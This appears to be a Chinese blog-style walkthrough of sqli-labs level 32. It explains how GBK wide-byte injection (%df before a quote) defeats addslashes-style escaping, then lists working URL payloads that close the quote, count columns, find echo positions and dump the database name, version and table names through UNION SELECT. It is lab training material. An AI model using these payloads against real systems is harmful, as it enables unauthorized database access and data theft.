sqli-第三十二关——bypass addslashes
一:宽字节注入
先查看源码
观察转义函数 check_addslashes()里面的三行表达式
第一行
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); part1: '/'. preg_quote('\\') .'/'
转义了反斜杠:假设我们输入a\b
先在preg_quote进行第一层转义,将 \ 转义为两个反斜杠,输出 /\\/
然后再替换字符串 \\\\\\,实际表示出三个反斜杠,因为第一\是php解析层,解析完变成 \\\\,第二圈是正则表达式解析层,所以实际表示三个反斜杠
所以会输出a\\\b;
作用:把字符串所有的 \ 替换成 \\
第二行
$string = preg_replace('/\'/i', '\\\'', $string);
作用:把所有的 ' 替换成 \'
第三行
$string = preg_replace('/\"/', "\\\"", $string);
作用:把所有的 ” 替换成 \"
反斜杠( \ )在编程中是转义字符,可以让后面的特殊字符失去其特殊意义
例如,\' 表示 " 这是一个普通的单引号,不是SQL语句的结束符 "
宽字节的格式是在地址后面加一个%df,再加单引号,
因为反斜杠的编码是%5c,连起来%df&5c对应GBK编码中的 ‘ 運 ’ 字,也就是说,数据库实际看到的是
SELECT * FROM users WHERE id='運' OR 1=1 --'
这样单引号就成功逃逸出来了,也就是说 or 1=1的恶意代码执行了
二:判断闭合类型
输入?id=1',可以通过提示发现被转义了
我们尝试宽字节注入 ,成功报错
?id=1%df%27
--+尝试闭合
编辑 文章
闭合成功
三:开始注入:
1.爆列数
?id=1%df%27%20order%20by%201,2,3,4--+
2.爆回显位
?id=-1%df%27%20union%20select%201,2,3--+
3.爆库名和版本号
?id=-1%df%27%20union%20select%201,database(),version()--+
4.联合查询爆表名,行数:
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+